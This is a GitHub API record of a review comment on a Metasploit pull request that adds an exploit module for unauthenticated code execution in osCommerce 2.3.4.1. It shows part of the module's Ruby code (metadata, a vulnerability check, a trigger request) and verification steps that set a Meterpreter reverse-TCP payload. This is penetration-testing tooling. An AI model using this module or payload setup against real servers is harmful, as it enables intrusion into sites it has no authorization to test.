{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/179712686","pull_request_review_id":110007058,"id":179712686,"diff_hunk":"@@ -0,0 +1,80 @@\n+##\n+# This module requires Metasploit: https://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+class MetasploitModule < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::HttpClient\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'osCommerce Installer Unauthenticated Code Execution',\n+      'Description'    => %q{\n+         If the /install/ directory was not removed, it is possible for an unauthenticated\n+         attacker to run the \"install_4.php\" script, which will create the configuration\n+         file for the installation. This allows the attacker to inject PHP code into the\n+         configuration file and execute it.\n+      },\n+      'Author'         => [\n+        'Simon Scannell',      # Original exploit author\n+        'Daniel Teixeira'      # MSF module author\n+        ],\n+      'License'        => MSF_LICENSE,\n+      'References'     =>\n+        [\n+          ['EDB', '44374'],\n+        ],\n+        'Payload'      =>\n+        {\n+          'BadChars' => \"\\x00\",\n+        },\n+       'Privileged' => false,\n+       'Platform'   => ['php'],\n+       'Arch'       => ARCH_PHP,\n+       'Targets' =>\n+            [\n+                [ 'osCommerce 2.3.4.1', { } ],\n+            ],\n+      'DisclosureDate' => 'Apr 30 2018',\n+      'DefaultTarget' => 0))\n+     register_options(\n+    [\n+      OptString.new('URI', [true, 'The path to the install directory', '/catalog/install/'])\n+    ])\n+  end\n+\n+  def check\n+    res = send_request_cgi({\n+      'uri'     => normalize_uri(datastore['URI'], 'install.php'),\n+      'method' => 'GET'\n+    })\n+\n+    if res and res.code == 200\n+      return Exploit::CheckCode::Vulnerable\n+    end\n+\n+    return Exploit::CheckCode::Safe\n+  end\n+\n+  def trigger\n+    send_request_cgi({\n+      'uri'     => normalize_uri(datastore['URI'], 'includes/configure.php'),\n+      'method'  => 'GET'\n+    })\n+  end\n+\n+  def exploit","path":"modules/exploits/multi/http/oscommerce.rb","position":68,"original_position":68,"commit_id":"3efd17a8010f03236a76cad38ab1143dd0b16391","original_commit_id":"3efd17a8010f03236a76cad38ab1143dd0b16391","user":{"login":"bcoles","id":434827,"avatar_url":"https://avatars2.githubusercontent.com/u/434827?v=4","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"body":"Now that the module has a `check` method, you could do something like this, if you want:\r\n\r\n```ruby\r\ndef exploit\r\n  unless check == CheckCode::Vulnerable\r\n    fail_with Failure::NotVulnerable, 'Target is not vulnerable'\r\n  end\r\n\r\n  # ...\r\n```","created_at":"2018-04-06T10:01:43Z","updated_at":"2018-04-06T10:01:47Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/9821#discussion_r179712686","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9821","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/179712686"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9821#discussion_r179712686"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9821"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9821","id":179774450,"html_url":"https://github.com/rapid7/metasploit-framework/pull/9821","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9821.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9821.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9821","number":9821,"state":"open","locked":false,"title":"osCommerce 2.3.4.1 - Remote Code Execution","user":{"login":"DanielRTeixeira","id":11260062,"avatar_url":"https://avatars1.githubusercontent.com/u/11260062?v=4","gravatar_id":"","url":"https://api.github.com/users/DanielRTeixeira","html_url":"https://github.com/DanielRTeixeira","followers_url":"https://api.github.com/users/DanielRTeixeira/followers","following_url":"https://api.github.com/users/DanielRTeixeira/following{/other_user}","gists_url":"https://api.github.com/users/DanielRTeixeira/gists{/gist_id}","starred_url":"https://api.github.com/users/DanielRTeixeira/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/DanielRTeixeira/subscriptions","organizations_url":"https://api.github.com/users/DanielRTeixeira/orgs","repos_url":"https://api.github.com/users/DanielRTeixeira/repos","events_url":"https://api.github.com/users/DanielRTeixeira/events{/privacy}","received_events_url":"https://api.github.com/users/DanielRTeixeira/received_events","type":"User","site_admin":false},"body":"This PR adds a module to exploit a remote code execution vulnerability in osCommerce version 2.3.4.1\r\n\r\n## Verification\r\n\r\n- [ ] Download and install [osCommerce 2.3.4.1](https://www.exploit-db.com/apps/ce2796b352d6e0fb4e9f03866ae98541-oscommerce-2.3.4.zip)\r\n- [ ] Start `msfconsole`\r\n- [ ] `use exploit/multi/http/oscommerce`\r\n- [ ] `set RHOST IP`\r\n- [ ] `set PAYLOAD php/meterpreter/reverse_tcp`\r\n- [ ] `set LHOST IP`\r\n- [ ] Verify a new Meterpreter session is started\r\n","created_at":"2018-04-05T19:32:21Z","updated_at":"2018-04-06T10:01:47Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d74a700178e5d83ca07c7a75c66f34388ca0a174","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":103436215,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9821/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9821/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9821/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/3efd17a8010f03236a76cad38ab1143dd0b16391","head":{"label":"DanielRTeixeira:osCommerce","ref":"osCommerce","sha":"3efd17a8010f03236a76cad38ab1143dd0b16391","user":{"login":"DanielRTeixeira","id":11260062,"avatar_url":"https://avatars1.githubusercontent.com/u/11260062?v=4","gravatar_id":"","url":"https://api.github.com/users/DanielRTeixeira","html_url":"https://github.com/DanielRTeixeira","followers_url":"https://api.github.com/users/DanielRTeixeira/followers","following_url":"https://api.github.com/users/DanielRTeixeira/following{/other_user}","gists_url":"https://api.github.com/users/DanielRTeixeira/gists{/gist_id}","starred_url":"https://api.github.com/users/DanielRTeixeira/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/DanielRTeixeira/subscriptions","organizations_url":"https://api.github.com/users/DanielRTeixeira/orgs","repos_url":"https://api.github.com/users/DanielRTeixeira/repos","events_url":"https://api.github.com/users/DanielRTeixeira/events{/privacy}","received_events_url":"https://api.github.com/users/DanielRTeixeira/received_events","type":"User","site_admin":false},"repo":{"id":123032985,"name":"metasploit-framework","full_name":"DanielRTeixeira/metasploit-framework","owner":{"login":"DanielRTeixeira","id":11260062,"avatar_url":"https://avatars1.githubusercontent.com/u/11260062?v=4","gravatar_id":"","url":"https://api.github.com/users/DanielRTeixeira","html_url":"https://github.com/DanielRTeixeira","followers_url":"https://api.github.com/users/DanielRTeixeira/followers","following_url":"https://api.github.com/users/DanielRTeixeira/following{/other_user}","gists_url":"https://api.github.com/users/DanielRTeixeira/gists{/gist_id}","starred_url":"https://api.github.com/users/DanielRTeixeira/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/DanielRTeixeira/subscriptions","organizations_url":"https://api.github.com/users/DanielRTeixeira/orgs","repos_url":"https://api.github.com/users/DanielRTeixeira/repos","events_url":"https://api.github.com/users/DanielRTeixeira/events{/privacy}","received_events_url":"https://api.github.com/users/DanielRTeixeira/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/DanielRTeixeira/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework","forks_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/forks","keys_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/events","assignees_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/merges","archive_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/DanielRTeixeira/metasploit-framework/deployments","created_at":"2018-02-26T21:29:38Z","updated_at":"2018-02-26T21:30:01Z","pushed_at":"2018-04-06T09:46:01Z","git_url":"git://github.com/DanielRTeixeira/metasploit-framework.git","ssh_url":"git@github.com:DanielRTeixeira/metasploit-framework.git","clone_url":"https://github.com/DanielRTeixeira/metasploit-framework.git","svn_url":"https://github.com/DanielRTeixeira/metasploit-framework","homepage":"https://www.metasploit.com/","size":332466,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"81c78a51c221eb7419818f69b1dffc718c9633a8","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-04-06T05:07:21Z","pushed_at":"2018-04-06T09:46:02Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":336431,"stargazers_count":11898,"watchers_count":11898,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":6659,"mirror_url":null,"archived":false,"open_issues_count":498,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":6659,"open_issues":498,"watchers":11898,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9821"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9821"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9821"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9821/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9821/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9821/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/3efd17a8010f03236a76cad38ab1143dd0b16391"}},"author_association":"CONTRIBUTOR"}}
{"actor":{"display_login":"bcoles"}}